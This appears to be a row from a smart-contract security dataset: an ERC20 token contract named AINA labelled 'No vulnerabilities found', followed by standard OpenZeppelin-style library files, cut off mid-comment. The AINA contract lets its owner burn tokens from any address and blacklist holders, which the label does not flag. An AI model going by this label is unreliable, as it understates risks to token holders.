this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AINA is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | No vulnerabilities found |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../utils/Context.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
